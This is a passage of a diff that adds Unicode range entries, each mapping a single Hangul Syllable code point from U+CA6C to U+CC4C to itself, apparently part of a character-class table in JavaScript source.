+ ["\uCA6C", "\uCA6C"], /* Hangul Syllable */
+ ["\uCA6D", "\uCA6D"], /* Hangul Syllable */
+ ["\uCA6E", "\uCA6E"], /* Hangul Syllable */
+ ["\uCA6F", "\uCA6F"], /* Hangul Syllable */
+ ["\uCA70", "\uCA70"], /* Hangul Syllable */
+ ["\uCA71", "\uCA71"], /* Hangul Syllable */
+ ["\uCA72", "\uCA72"], /* Hangul Syllable */
+ ["\uCA73", "\uCA73"], /* Hangul Syllable */
+ ["\uCA74", "\uCA74"], /* Hangul Syllable */
+ ["\uCA75", "\uCA75"], /* Hangul Syllable */
+ ["\uCA76", "\uCA76"], /* Hangul Syllable */
+ ["\uCA77", "\uCA77"], /* Hangul Syllable */
+ ["\uCA78", "\uCA78"], /* Hangul Syllable */
+ ["\uCA79", "\uCA79"], /* Hangul Syllable */
+ ["\uCA7A", "\uCA7A"], /* Hangul Syllable */
+ ["\uCA7B", "\uCA7B"], /* Hangul Syllable */
+ ["\uCA7C", "\uCA7C"], /* Hangul Syllable */
+ ["\uCA7D", "\uCA7D"], /* Hangul Syllable */
+ ["\uCA7E", "\uCA7E"], /* Hangul Syllable */
+ ["\uCA7F", "\uCA7F"], /* Hangul Syllable */
+ ["\uCA80", "\uCA80"], /* Hangul Syllable */
+ ["\uCA81", "\uCA81"], /* Hangul Syllable */
+ ["\uCA82", "\uCA82"], /* Hangul Syllable */
+ ["\uCA83", "\uCA83"], /* Hangul Syllable */
+ ["\uCA84", "\uCA84"], /* Hangul Syllable */
+ ["\uCA85", "\uCA85"], /* Hangul Syllable */
+ ["\uCA86", "\uCA86"], /* Hangul Syllable */
+ ["\uCA87", "\uCA87"], /* Hangul Syllable */
+ ["\uCA88", "\uCA88"], /* Hangul Syllable */
+ ["\uCA89", "\uCA89"], /* Hangul Syllable */
+ ["\uCA8A", "\uCA8A"], /* Hangul Syllable */
+ ["\uCA8B", "\uCA8B"], /* Hangul Syllable */
+ ["\uCA8C", "\uCA8C"], /* Hangul Syllable */
+ ["\uCA8D", "\uCA8D"], /* Hangul Syllable */
+ ["\uCA8E", "\uCA8E"], /* Hangul Syllable */
+ ["\uCA8F", "\uCA8F"], /* Hangul Syllable */
+ ["\uCA90", "\uCA90"], /* Hangul Syllable */
+ ["\uCA91", "\uCA91"], /* Hangul Syllable */
+ ["\uCA92", "\uCA92"], /* Hangul Syllable */
+ ["\uCA93", "\uCA93"], /* Hangul Syllable */
+ ["\uCA94", "\uCA94"], /* Hangul Syllable */
+ ["\uCA95", "\uCA95"], /* Hangul Syllable */
+ ["\uCA96", "\uCA96"], /* Hangul Syllable */
+ ["\uCA97", "\uCA97"], /* Hangul Syllable */
+ ["\uCA98", "\uCA98"], /* Hangul Syllable */
+ ["\uCA99", "\uCA99"], /* Hangul Syllable */
+ ["\uCA9A", "\uCA9A"], /* Hangul Syllable */
+ ["\uCA9B", "\uCA9B"], /* Hangul Syllable */
+ ["\uCA9C", "\uCA9C"], /* Hangul Syllable */
+ ["\uCA9D", "\uCA9D"], /* Hangul Syllable */
+ ["\uCA9E", "\uCA9E"], /* Hangul Syllable */
+ ["\uCA9F", "\uCA9F"], /* Hangul Syllable */
+ ["\uCAA0", "\uCAA0"], /* Hangul Syllable */
+ ["\uCAA1", "\uCAA1"], /* Hangul Syllable */
+ ["\uCAA2", "\uCAA2"], /* Hangul Syllable */
+ ["\uCAA3", "\uCAA3"], /* Hangul Syllable */
+ ["\uCAA4", "\uCAA4"], /* Hangul Syllable */
+ ["\uCAA5", "\uCAA5"], /* Hangul Syllable */
+ ["\uCAA6", "\uCAA6"], /* Hangul Syllable */
+ ["\uCAA7", "\uCAA7"], /* Hangul Syllable */
+ ["\uCAA8", "\uCAA8"], /* Hangul Syllable */
+ ["\uCAA9", "\uCAA9"], /* Hangul Syllable */
+ ["\uCAAA", "\uCAAA"], /* Hangul Syllable */
+ ["\uCAAB", "\uCAAB"], /* Hangul Syllable */
+ ["\uCAAC", "\uCAAC"], /* Hangul Syllable */
+ ["\uCAAD", "\uCAAD"], /* Hangul Syllable */
+ ["\uCAAE", "\uCAAE"], /* Hangul Syllable */
+ ["\uCAAF", "\uCAAF"], /* Hangul Syllable */
+ ["\uCAB0", "\uCAB0"], /* Hangul Syllable */
+ ["\uCAB1", "\uCAB1"], /* Hangul Syllable */
+ ["\uCAB2", "\uCAB2"], /* Hangul Syllable */
+ ["\uCAB3", "\uCAB3"], /* Hangul Syllable */
+ ["\uCAB4", "\uCAB4"], /* Hangul Syllable */
+ ["\uCAB5", "\uCAB5"], /* Hangul Syllable */
+ ["\uCAB6", "\uCAB6"], /* Hangul Syllable */
+ ["\uCAB7", "\uCAB7"], /* Hangul Syllable */
+ ["\uCAB8", "\uCAB8"], /* Hangul Syllable */
+ ["\uCAB9", "\uCAB9"], /* Hangul Syllable */
+ ["\uCABA", "\uCABA"], /* Hangul Syllable */
+ ["\uCABB", "\uCABB"], /* Hangul Syllable */
+ ["\uCABC", "\uCABC"], /* Hangul Syllable */
+ ["\uCABD", "\uCABD"], /* Hangul Syllable */
+ ["\uCABE", "\uCABE"], /* Hangul Syllable */
+ ["\uCABF", "\uCABF"], /* Hangul Syllable */
+ ["\uCAC0", "\uCAC0"], /* Hangul Syllable */
+ ["\uCAC1", "\uCAC1"], /* Hangul Syllable */
+ ["\uCAC2", "\uCAC2"], /* Hangul Syllable */
+ ["\uCAC3", "\uCAC3"], /* Hangul Syllable */
+ ["\uCAC4", "\uCAC4"], /* Hangul Syllable */
+ ["\uCAC5", "\uCAC5"], /* Hangul Syllable */
+ ["\uCAC6", "\uCAC6"], /* Hangul Syllable */
+ ["\uCAC7", "\uCAC7"], /* Hangul Syllable */
+ ["\uCAC8", "\uCAC8"], /* Hangul Syllable */
+ ["\uCAC9", "\uCAC9"], /* Hangul Syllable */
+ ["\uCACA", "\uCACA"], /* Hangul Syllable */
+ ["\uCACB", "\uCACB"], /* Hangul Syllable */
+ ["\uCACC", "\uCACC"], /* Hangul Syllable */
+ ["\uCACD", "\uCACD"], /* Hangul Syllable */
+ ["\uCACE", "\uCACE"], /* Hangul Syllable */
+ ["\uCACF", "\uCACF"], /* Hangul Syllable */
+ ["\uCAD0", "\uCAD0"], /* Hangul Syllable */
+ ["\uCAD1", "\uCAD1"], /* Hangul Syllable */
+ ["\uCAD2", "\uCAD2"], /* Hangul Syllable */
+ ["\uCAD3", "\uCAD3"], /* Hangul Syllable */
+ ["\uCAD4", "\uCAD4"], /* Hangul Syllable */
+ ["\uCAD5", "\uCAD5"], /* Hangul Syllable */
+ ["\uCAD6", "\uCAD6"], /* Hangul Syllable */
+ ["\uCAD7", "\uCAD7"], /* Hangul Syllable */
+ ["\uCAD8", "\uCAD8"], /* Hangul Syllable */
+ ["\uCAD9", "\uCAD9"], /* Hangul Syllable */
+ ["\uCADA", "\uCADA"], /* Hangul Syllable */
+ ["\uCADB", "\uCADB"], /* Hangul Syllable */
+ ["\uCADC", "\uCADC"], /* Hangul Syllable */
+ ["\uCADD", "\uCADD"], /* Hangul Syllable */
+ ["\uCADE", "\uCADE"], /* Hangul Syllable */
+ ["\uCADF", "\uCADF"], /* Hangul Syllable */
+ ["\uCAE0", "\uCAE0"], /* Hangul Syllable */
+ ["\uCAE1", "\uCAE1"], /* Hangul Syllable */
+ ["\uCAE2", "\uCAE2"], /* Hangul Syllable */
+ ["\uCAE3", "\uCAE3"], /* Hangul Syllable */
+ ["\uCAE4", "\uCAE4"], /* Hangul Syllable */
+ ["\uCAE5", "\uCAE5"], /* Hangul Syllable */
+ ["\uCAE6", "\uCAE6"], /* Hangul Syllable */
+ ["\uCAE7", "\uCAE7"], /* Hangul Syllable */
+ ["\uCAE8", "\uCAE8"], /* Hangul Syllable */
+ ["\uCAE9", "\uCAE9"], /* Hangul Syllable */
+ ["\uCAEA", "\uCAEA"], /* Hangul Syllable */
+ ["\uCAEB", "\uCAEB"], /* Hangul Syllable */
+ ["\uCAEC", "\uCAEC"], /* Hangul Syllable */
+ ["\uCAED", "\uCAED"], /* Hangul Syllable */
+ ["\uCAEE", "\uCAEE"], /* Hangul Syllable */
+ ["\uCAEF", "\uCAEF"], /* Hangul Syllable */
+ ["\uCAF0", "\uCAF0"], /* Hangul Syllable */
+ ["\uCAF1", "\uCAF1"], /* Hangul Syllable */
+ ["\uCAF2", "\uCAF2"], /* Hangul Syllable */
+ ["\uCAF3", "\uCAF3"], /* Hangul Syllable */
+ ["\uCAF4", "\uCAF4"], /* Hangul Syllable */
+ ["\uCAF5", "\uCAF5"], /* Hangul Syllable */
+ ["\uCAF6", "\uCAF6"], /* Hangul Syllable */
+ ["\uCAF7", "\uCAF7"], /* Hangul Syllable */
+ ["\uCAF8", "\uCAF8"], /* Hangul Syllable */
+ ["\uCAF9", "\uCAF9"], /* Hangul Syllable */
+ ["\uCAFA", "\uCAFA"], /* Hangul Syllable */
+ ["\uCAFB", "\uCAFB"], /* Hangul Syllable */
+ ["\uCAFC", "\uCAFC"], /* Hangul Syllable */
+ ["\uCAFD", "\uCAFD"], /* Hangul Syllable */
+ ["\uCAFE", "\uCAFE"], /* Hangul Syllable */
+ ["\uCAFF", "\uCAFF"], /* Hangul Syllable */
+ ["\uCB00", "\uCB00"], /* Hangul Syllable */
+ ["\uCB01", "\uCB01"], /* Hangul Syllable */
+ ["\uCB02", "\uCB02"], /* Hangul Syllable */
+ ["\uCB03", "\uCB03"], /* Hangul Syllable */
+ ["\uCB04", "\uCB04"], /* Hangul Syllable */
+ ["\uCB05", "\uCB05"], /* Hangul Syllable */
+ ["\uCB06", "\uCB06"], /* Hangul Syllable */
+ ["\uCB07", "\uCB07"], /* Hangul Syllable */
+ ["\uCB08", "\uCB08"], /* Hangul Syllable */
+ ["\uCB09", "\uCB09"], /* Hangul Syllable */
+ ["\uCB0A", "\uCB0A"], /* Hangul Syllable */
+ ["\uCB0B", "\uCB0B"], /* Hangul Syllable */
+ ["\uCB0C", "\uCB0C"], /* Hangul Syllable */
+ ["\uCB0D", "\uCB0D"], /* Hangul Syllable */
+ ["\uCB0E", "\uCB0E"], /* Hangul Syllable */
+ ["\uCB0F", "\uCB0F"], /* Hangul Syllable */
+ ["\uCB10", "\uCB10"], /* Hangul Syllable */
+ ["\uCB11", "\uCB11"], /* Hangul Syllable */
+ ["\uCB12", "\uCB12"], /* Hangul Syllable */
+ ["\uCB13", "\uCB13"], /* Hangul Syllable */
+ ["\uCB14", "\uCB14"], /* Hangul Syllable */
+ ["\uCB15", "\uCB15"], /* Hangul Syllable */
+ ["\uCB16", "\uCB16"], /* Hangul Syllable */
+ ["\uCB17", "\uCB17"], /* Hangul Syllable */
+ ["\uCB18", "\uCB18"], /* Hangul Syllable */
+ ["\uCB19", "\uCB19"], /* Hangul Syllable */
+ ["\uCB1A", "\uCB1A"], /* Hangul Syllable */
+ ["\uCB1B", "\uCB1B"], /* Hangul Syllable */
+ ["\uCB1C", "\uCB1C"], /* Hangul Syllable */
+ ["\uCB1D", "\uCB1D"], /* Hangul Syllable */
+ ["\uCB1E", "\uCB1E"], /* Hangul Syllable */
+ ["\uCB1F", "\uCB1F"], /* Hangul Syllable */
+ ["\uCB20", "\uCB20"], /* Hangul Syllable */
+ ["\uCB21", "\uCB21"], /* Hangul Syllable */
+ ["\uCB22", "\uCB22"], /* Hangul Syllable */
+ ["\uCB23", "\uCB23"], /* Hangul Syllable */
+ ["\uCB24", "\uCB24"], /* Hangul Syllable */
+ ["\uCB25", "\uCB25"], /* Hangul Syllable */
+ ["\uCB26", "\uCB26"], /* Hangul Syllable */
+ ["\uCB27", "\uCB27"], /* Hangul Syllable */
+ ["\uCB28", "\uCB28"], /* Hangul Syllable */
+ ["\uCB29", "\uCB29"], /* Hangul Syllable */
+ ["\uCB2A", "\uCB2A"], /* Hangul Syllable */
+ ["\uCB2B", "\uCB2B"], /* Hangul Syllable */
+ ["\uCB2C", "\uCB2C"], /* Hangul Syllable */
+ ["\uCB2D", "\uCB2D"], /* Hangul Syllable */
+ ["\uCB2E", "\uCB2E"], /* Hangul Syllable */
+ ["\uCB2F", "\uCB2F"], /* Hangul Syllable */
+ ["\uCB30", "\uCB30"], /* Hangul Syllable */
+ ["\uCB31", "\uCB31"], /* Hangul Syllable */
+ ["\uCB32", "\uCB32"], /* Hangul Syllable */
+ ["\uCB33", "\uCB33"], /* Hangul Syllable */
+ ["\uCB34", "\uCB34"], /* Hangul Syllable */
+ ["\uCB35", "\uCB35"], /* Hangul Syllable */
+ ["\uCB36", "\uCB36"], /* Hangul Syllable */
+ ["\uCB37", "\uCB37"], /* Hangul Syllable */
+ ["\uCB38", "\uCB38"], /* Hangul Syllable */
+ ["\uCB39", "\uCB39"], /* Hangul Syllable */
+ ["\uCB3A", "\uCB3A"], /* Hangul Syllable */
+ ["\uCB3B", "\uCB3B"], /* Hangul Syllable */
+ ["\uCB3C", "\uCB3C"], /* Hangul Syllable */
+ ["\uCB3D", "\uCB3D"], /* Hangul Syllable */
+ ["\uCB3E", "\uCB3E"], /* Hangul Syllable */
+ ["\uCB3F", "\uCB3F"], /* Hangul Syllable */
+ ["\uCB40", "\uCB40"], /* Hangul Syllable */
+ ["\uCB41", "\uCB41"], /* Hangul Syllable */
+ ["\uCB42", "\uCB42"], /* Hangul Syllable */
+ ["\uCB43", "\uCB43"], /* Hangul Syllable */
+ ["\uCB44", "\uCB44"], /* Hangul Syllable */
+ ["\uCB45", "\uCB45"], /* Hangul Syllable */
+ ["\uCB46", "\uCB46"], /* Hangul Syllable */
+ ["\uCB47", "\uCB47"], /* Hangul Syllable */
+ ["\uCB48", "\uCB48"], /* Hangul Syllable */
+ ["\uCB49", "\uCB49"], /* Hangul Syllable */
+ ["\uCB4A", "\uCB4A"], /* Hangul Syllable */
+ ["\uCB4B", "\uCB4B"], /* Hangul Syllable */
+ ["\uCB4C", "\uCB4C"], /* Hangul Syllable */
+ ["\uCB4D", "\uCB4D"], /* Hangul Syllable */
+ ["\uCB4E", "\uCB4E"], /* Hangul Syllable */
+ ["\uCB4F", "\uCB4F"], /* Hangul Syllable */
+ ["\uCB50", "\uCB50"], /* Hangul Syllable */
+ ["\uCB51", "\uCB51"], /* Hangul Syllable */
+ ["\uCB52", "\uCB52"], /* Hangul Syllable */
+ ["\uCB53", "\uCB53"], /* Hangul Syllable */
+ ["\uCB54", "\uCB54"], /* Hangul Syllable */
+ ["\uCB55", "\uCB55"], /* Hangul Syllable */
+ ["\uCB56", "\uCB56"], /* Hangul Syllable */
+ ["\uCB57", "\uCB57"], /* Hangul Syllable */
+ ["\uCB58", "\uCB58"], /* Hangul Syllable */
+ ["\uCB59", "\uCB59"], /* Hangul Syllable */
+ ["\uCB5A", "\uCB5A"], /* Hangul Syllable */
+ ["\uCB5B", "\uCB5B"], /* Hangul Syllable */
+ ["\uCB5C", "\uCB5C"], /* Hangul Syllable */
+ ["\uCB5D", "\uCB5D"], /* Hangul Syllable */
+ ["\uCB5E", "\uCB5E"], /* Hangul Syllable */
+ ["\uCB5F", "\uCB5F"], /* Hangul Syllable */
+ ["\uCB60", "\uCB60"], /* Hangul Syllable */
+ ["\uCB61", "\uCB61"], /* Hangul Syllable */
+ ["\uCB62", "\uCB62"], /* Hangul Syllable */
+ ["\uCB63", "\uCB63"], /* Hangul Syllable */
+ ["\uCB64", "\uCB64"], /* Hangul Syllable */
+ ["\uCB65", "\uCB65"], /* Hangul Syllable */
+ ["\uCB66", "\uCB66"], /* Hangul Syllable */
+ ["\uCB67", "\uCB67"], /* Hangul Syllable */
+ ["\uCB68", "\uCB68"], /* Hangul Syllable */
+ ["\uCB69", "\uCB69"], /* Hangul Syllable */
+ ["\uCB6A", "\uCB6A"], /* Hangul Syllable */
+ ["\uCB6B", "\uCB6B"], /* Hangul Syllable */
+ ["\uCB6C", "\uCB6C"], /* Hangul Syllable */
+ ["\uCB6D", "\uCB6D"], /* Hangul Syllable */
+ ["\uCB6E", "\uCB6E"], /* Hangul Syllable */
+ ["\uCB6F", "\uCB6F"], /* Hangul Syllable */
+ ["\uCB70", "\uCB70"], /* Hangul Syllable */
+ ["\uCB71", "\uCB71"], /* Hangul Syllable */
+ ["\uCB72", "\uCB72"], /* Hangul Syllable */
+ ["\uCB73", "\uCB73"], /* Hangul Syllable */
+ ["\uCB74", "\uCB74"], /* Hangul Syllable */
+ ["\uCB75", "\uCB75"], /* Hangul Syllable */
+ ["\uCB76", "\uCB76"], /* Hangul Syllable */
+ ["\uCB77", "\uCB77"], /* Hangul Syllable */
+ ["\uCB78", "\uCB78"], /* Hangul Syllable */
+ ["\uCB79", "\uCB79"], /* Hangul Syllable */
+ ["\uCB7A", "\uCB7A"], /* Hangul Syllable */
+ ["\uCB7B", "\uCB7B"], /* Hangul Syllable */
+ ["\uCB7C", "\uCB7C"], /* Hangul Syllable */
+ ["\uCB7D", "\uCB7D"], /* Hangul Syllable */
+ ["\uCB7E", "\uCB7E"], /* Hangul Syllable */
+ ["\uCB7F", "\uCB7F"], /* Hangul Syllable */
+ ["\uCB80", "\uCB80"], /* Hangul Syllable */
+ ["\uCB81", "\uCB81"], /* Hangul Syllable */
+ ["\uCB82", "\uCB82"], /* Hangul Syllable */
+ ["\uCB83", "\uCB83"], /* Hangul Syllable */
+ ["\uCB84", "\uCB84"], /* Hangul Syllable */
+ ["\uCB85", "\uCB85"], /* Hangul Syllable */
+ ["\uCB86", "\uCB86"], /* Hangul Syllable */
+ ["\uCB87", "\uCB87"], /* Hangul Syllable */
+ ["\uCB88", "\uCB88"], /* Hangul Syllable */
+ ["\uCB89", "\uCB89"], /* Hangul Syllable */
+ ["\uCB8A", "\uCB8A"], /* Hangul Syllable */
+ ["\uCB8B", "\uCB8B"], /* Hangul Syllable */
+ ["\uCB8C", "\uCB8C"], /* Hangul Syllable */
+ ["\uCB8D", "\uCB8D"], /* Hangul Syllable */
+ ["\uCB8E", "\uCB8E"], /* Hangul Syllable */
+ ["\uCB8F", "\uCB8F"], /* Hangul Syllable */
+ ["\uCB90", "\uCB90"], /* Hangul Syllable */
+ ["\uCB91", "\uCB91"], /* Hangul Syllable */
+ ["\uCB92", "\uCB92"], /* Hangul Syllable */
+ ["\uCB93", "\uCB93"], /* Hangul Syllable */
+ ["\uCB94", "\uCB94"], /* Hangul Syllable */
+ ["\uCB95", "\uCB95"], /* Hangul Syllable */
+ ["\uCB96", "\uCB96"], /* Hangul Syllable */
+ ["\uCB97", "\uCB97"], /* Hangul Syllable */
+ ["\uCB98", "\uCB98"], /* Hangul Syllable */
+ ["\uCB99", "\uCB99"], /* Hangul Syllable */
+ ["\uCB9A", "\uCB9A"], /* Hangul Syllable */
+ ["\uCB9B", "\uCB9B"], /* Hangul Syllable */
+ ["\uCB9C", "\uCB9C"], /* Hangul Syllable */
+ ["\uCB9D", "\uCB9D"], /* Hangul Syllable */
+ ["\uCB9E", "\uCB9E"], /* Hangul Syllable */
+ ["\uCB9F", "\uCB9F"], /* Hangul Syllable */
+ ["\uCBA0", "\uCBA0"], /* Hangul Syllable */
+ ["\uCBA1", "\uCBA1"], /* Hangul Syllable */
+ ["\uCBA2", "\uCBA2"], /* Hangul Syllable */
+ ["\uCBA3", "\uCBA3"], /* Hangul Syllable */
+ ["\uCBA4", "\uCBA4"], /* Hangul Syllable */
+ ["\uCBA5", "\uCBA5"], /* Hangul Syllable */
+ ["\uCBA6", "\uCBA6"], /* Hangul Syllable */
+ ["\uCBA7", "\uCBA7"], /* Hangul Syllable */
+ ["\uCBA8", "\uCBA8"], /* Hangul Syllable */
+ ["\uCBA9", "\uCBA9"], /* Hangul Syllable */
+ ["\uCBAA", "\uCBAA"], /* Hangul Syllable */
+ ["\uCBAB", "\uCBAB"], /* Hangul Syllable */
+ ["\uCBAC", "\uCBAC"], /* Hangul Syllable */
+ ["\uCBAD", "\uCBAD"], /* Hangul Syllable */
+ ["\uCBAE", "\uCBAE"], /* Hangul Syllable */
+ ["\uCBAF", "\uCBAF"], /* Hangul Syllable */
+ ["\uCBB0", "\uCBB0"], /* Hangul Syllable */
+ ["\uCBB1", "\uCBB1"], /* Hangul Syllable */
+ ["\uCBB2", "\uCBB2"], /* Hangul Syllable */
+ ["\uCBB3", "\uCBB3"], /* Hangul Syllable */
+ ["\uCBB4", "\uCBB4"], /* Hangul Syllable */
+ ["\uCBB5", "\uCBB5"], /* Hangul Syllable */
+ ["\uCBB6", "\uCBB6"], /* Hangul Syllable */
+ ["\uCBB7", "\uCBB7"], /* Hangul Syllable */
+ ["\uCBB8", "\uCBB8"], /* Hangul Syllable */
+ ["\uCBB9", "\uCBB9"], /* Hangul Syllable */
+ ["\uCBBA", "\uCBBA"], /* Hangul Syllable */
+ ["\uCBBB", "\uCBBB"], /* Hangul Syllable */
+ ["\uCBBC", "\uCBBC"], /* Hangul Syllable */
+ ["\uCBBD", "\uCBBD"], /* Hangul Syllable */
+ ["\uCBBE", "\uCBBE"], /* Hangul Syllable */
+ ["\uCBBF", "\uCBBF"], /* Hangul Syllable */
+ ["\uCBC0", "\uCBC0"], /* Hangul Syllable */
+ ["\uCBC1", "\uCBC1"], /* Hangul Syllable */
+ ["\uCBC2", "\uCBC2"], /* Hangul Syllable */
+ ["\uCBC3", "\uCBC3"], /* Hangul Syllable */
+ ["\uCBC4", "\uCBC4"], /* Hangul Syllable */
+ ["\uCBC5", "\uCBC5"], /* Hangul Syllable */
+ ["\uCBC6", "\uCBC6"], /* Hangul Syllable */
+ ["\uCBC7", "\uCBC7"], /* Hangul Syllable */
+ ["\uCBC8", "\uCBC8"], /* Hangul Syllable */
+ ["\uCBC9", "\uCBC9"], /* Hangul Syllable */
+ ["\uCBCA", "\uCBCA"], /* Hangul Syllable */
+ ["\uCBCB", "\uCBCB"], /* Hangul Syllable */
+ ["\uCBCC", "\uCBCC"], /* Hangul Syllable */
+ ["\uCBCD", "\uCBCD"], /* Hangul Syllable */
+ ["\uCBCE", "\uCBCE"], /* Hangul Syllable */
+ ["\uCBCF", "\uCBCF"], /* Hangul Syllable */
+ ["\uCBD0", "\uCBD0"], /* Hangul Syllable */
+ ["\uCBD1", "\uCBD1"], /* Hangul Syllable */
+ ["\uCBD2", "\uCBD2"], /* Hangul Syllable */
+ ["\uCBD3", "\uCBD3"], /* Hangul Syllable */
+ ["\uCBD4", "\uCBD4"], /* Hangul Syllable */
+ ["\uCBD5", "\uCBD5"], /* Hangul Syllable */
+ ["\uCBD6", "\uCBD6"], /* Hangul Syllable */
+ ["\uCBD7", "\uCBD7"], /* Hangul Syllable */
+ ["\uCBD8", "\uCBD8"], /* Hangul Syllable */
+ ["\uCBD9", "\uCBD9"], /* Hangul Syllable */
+ ["\uCBDA", "\uCBDA"], /* Hangul Syllable */
+ ["\uCBDB", "\uCBDB"], /* Hangul Syllable */
+ ["\uCBDC", "\uCBDC"], /* Hangul Syllable */
+ ["\uCBDD", "\uCBDD"], /* Hangul Syllable */
+ ["\uCBDE", "\uCBDE"], /* Hangul Syllable */
+ ["\uCBDF", "\uCBDF"], /* Hangul Syllable */
+ ["\uCBE0", "\uCBE0"], /* Hangul Syllable */
+ ["\uCBE1", "\uCBE1"], /* Hangul Syllable */
+ ["\uCBE2", "\uCBE2"], /* Hangul Syllable */
+ ["\uCBE3", "\uCBE3"], /* Hangul Syllable */
+ ["\uCBE4", "\uCBE4"], /* Hangul Syllable */
+ ["\uCBE5", "\uCBE5"], /* Hangul Syllable */
+ ["\uCBE6", "\uCBE6"], /* Hangul Syllable */
+ ["\uCBE7", "\uCBE7"], /* Hangul Syllable */
+ ["\uCBE8", "\uCBE8"], /* Hangul Syllable */
+ ["\uCBE9", "\uCBE9"], /* Hangul Syllable */
+ ["\uCBEA", "\uCBEA"], /* Hangul Syllable */
+ ["\uCBEB", "\uCBEB"], /* Hangul Syllable */
+ ["\uCBEC", "\uCBEC"], /* Hangul Syllable */
+ ["\uCBED", "\uCBED"], /* Hangul Syllable */
+ ["\uCBEE", "\uCBEE"], /* Hangul Syllable */
+ ["\uCBEF", "\uCBEF"], /* Hangul Syllable */
+ ["\uCBF0", "\uCBF0"], /* Hangul Syllable */
+ ["\uCBF1", "\uCBF1"], /* Hangul Syllable */
+ ["\uCBF2", "\uCBF2"], /* Hangul Syllable */
+ ["\uCBF3", "\uCBF3"], /* Hangul Syllable */
+ ["\uCBF4", "\uCBF4"], /* Hangul Syllable */
+ ["\uCBF5", "\uCBF5"], /* Hangul Syllable */
+ ["\uCBF6", "\uCBF6"], /* Hangul Syllable */
+ ["\uCBF7", "\uCBF7"], /* Hangul Syllable */
+ ["\uCBF8", "\uCBF8"], /* Hangul Syllable */
+ ["\uCBF9", "\uCBF9"], /* Hangul Syllable */
+ ["\uCBFA", "\uCBFA"], /* Hangul Syllable */
+ ["\uCBFB", "\uCBFB"], /* Hangul Syllable */
+ ["\uCBFC", "\uCBFC"], /* Hangul Syllable */
+ ["\uCBFD", "\uCBFD"], /* Hangul Syllable */
+ ["\uCBFE", "\uCBFE"], /* Hangul Syllable */
+ ["\uCBFF", "\uCBFF"], /* Hangul Syllable */
+ ["\uCC00", "\uCC00"], /* Hangul Syllable */
+ ["\uCC01", "\uCC01"], /* Hangul Syllable */
+ ["\uCC02", "\uCC02"], /* Hangul Syllable */
+ ["\uCC03", "\uCC03"], /* Hangul Syllable */
+ ["\uCC04", "\uCC04"], /* Hangul Syllable */
+ ["\uCC05", "\uCC05"], /* Hangul Syllable */
+ ["\uCC06", "\uCC06"], /* Hangul Syllable */
+ ["\uCC07", "\uCC07"], /* Hangul Syllable */
+ ["\uCC08", "\uCC08"], /* Hangul Syllable */
+ ["\uCC09", "\uCC09"], /* Hangul Syllable */
+ ["\uCC0A", "\uCC0A"], /* Hangul Syllable */
+ ["\uCC0B", "\uCC0B"], /* Hangul Syllable */
+ ["\uCC0C", "\uCC0C"], /* Hangul Syllable */
+ ["\uCC0D", "\uCC0D"], /* Hangul Syllable */
+ ["\uCC0E", "\uCC0E"], /* Hangul Syllable */
+ ["\uCC0F", "\uCC0F"], /* Hangul Syllable */
+ ["\uCC10", "\uCC10"], /* Hangul Syllable */
+ ["\uCC11", "\uCC11"], /* Hangul Syllable */
+ ["\uCC12", "\uCC12"], /* Hangul Syllable */
+ ["\uCC13", "\uCC13"], /* Hangul Syllable */
+ ["\uCC14", "\uCC14"], /* Hangul Syllable */
+ ["\uCC15", "\uCC15"], /* Hangul Syllable */
+ ["\uCC16", "\uCC16"], /* Hangul Syllable */
+ ["\uCC17", "\uCC17"], /* Hangul Syllable */
+ ["\uCC18", "\uCC18"], /* Hangul Syllable */
+ ["\uCC19", "\uCC19"], /* Hangul Syllable */
+ ["\uCC1A", "\uCC1A"], /* Hangul Syllable */
+ ["\uCC1B", "\uCC1B"], /* Hangul Syllable */
+ ["\uCC1C", "\uCC1C"], /* Hangul Syllable */
+ ["\uCC1D", "\uCC1D"], /* Hangul Syllable */
+ ["\uCC1E", "\uCC1E"], /* Hangul Syllable */
+ ["\uCC1F", "\uCC1F"], /* Hangul Syllable */
+ ["\uCC20", "\uCC20"], /* Hangul Syllable */
+ ["\uCC21", "\uCC21"], /* Hangul Syllable */
+ ["\uCC22", "\uCC22"], /* Hangul Syllable */
+ ["\uCC23", "\uCC23"], /* Hangul Syllable */
+ ["\uCC24", "\uCC24"], /* Hangul Syllable */
+ ["\uCC25", "\uCC25"], /* Hangul Syllable */
+ ["\uCC26", "\uCC26"], /* Hangul Syllable */
+ ["\uCC27", "\uCC27"], /* Hangul Syllable */
+ ["\uCC28", "\uCC28"], /* Hangul Syllable */
+ ["\uCC29", "\uCC29"], /* Hangul Syllable */
+ ["\uCC2A", "\uCC2A"], /* Hangul Syllable */
+ ["\uCC2B", "\uCC2B"], /* Hangul Syllable */
+ ["\uCC2C", "\uCC2C"], /* Hangul Syllable */
+ ["\uCC2D", "\uCC2D"], /* Hangul Syllable */
+ ["\uCC2E", "\uCC2E"], /* Hangul Syllable */
+ ["\uCC2F", "\uCC2F"], /* Hangul Syllable */
+ ["\uCC30", "\uCC30"], /* Hangul Syllable */
+ ["\uCC31", "\uCC31"], /* Hangul Syllable */
+ ["\uCC32", "\uCC32"], /* Hangul Syllable */
+ ["\uCC33", "\uCC33"], /* Hangul Syllable */
+ ["\uCC34", "\uCC34"], /* Hangul Syllable */
+ ["\uCC35", "\uCC35"], /* Hangul Syllable */
+ ["\uCC36", "\uCC36"], /* Hangul Syllable */
+ ["\uCC37", "\uCC37"], /* Hangul Syllable */
+ ["\uCC38", "\uCC38"], /* Hangul Syllable */
+ ["\uCC39", "\uCC39"], /* Hangul Syllable */
+ ["\uCC3A", "\uCC3A"], /* Hangul Syllable */
+ ["\uCC3B", "\uCC3B"], /* Hangul Syllable */
+ ["\uCC3C", "\uCC3C"], /* Hangul Syllable */
+ ["\uCC3D", "\uCC3D"], /* Hangul Syllable */
+ ["\uCC3E", "\uCC3E"], /* Hangul Syllable */
+ ["\uCC3F", "\uCC3F"], /* Hangul Syllable */
+ ["\uCC40", "\uCC40"], /* Hangul Syllable */
+ ["\uCC41", "\uCC41"], /* Hangul Syllable */
+ ["\uCC42", "\uCC42"], /* Hangul Syllable */
+ ["\uCC43", "\uCC43"], /* Hangul Syllable */
+ ["\uCC44", "\uCC44"], /* Hangul Syllable */
+ ["\uCC45", "\uCC45"], /* Hangul Syllable */
+ ["\uCC46", "\uCC46"], /* Hangul Syllable */
+ ["\uCC47", "\uCC47"], /* Hangul Syllable */
+ ["\uCC48", "\uCC48"], /* Hangul Syllable */
+ ["\uCC49", "\uCC49"], /* Hangul Syllable */
+ ["\uCC4A", "\uCC4A"], /* Hangul Syllable */
+ ["\uCC4B", "\uCC4B"], /* Hangul Syllable */
+ ["\uCC4C", "\uCC4C"], /* Hangul Syllable */
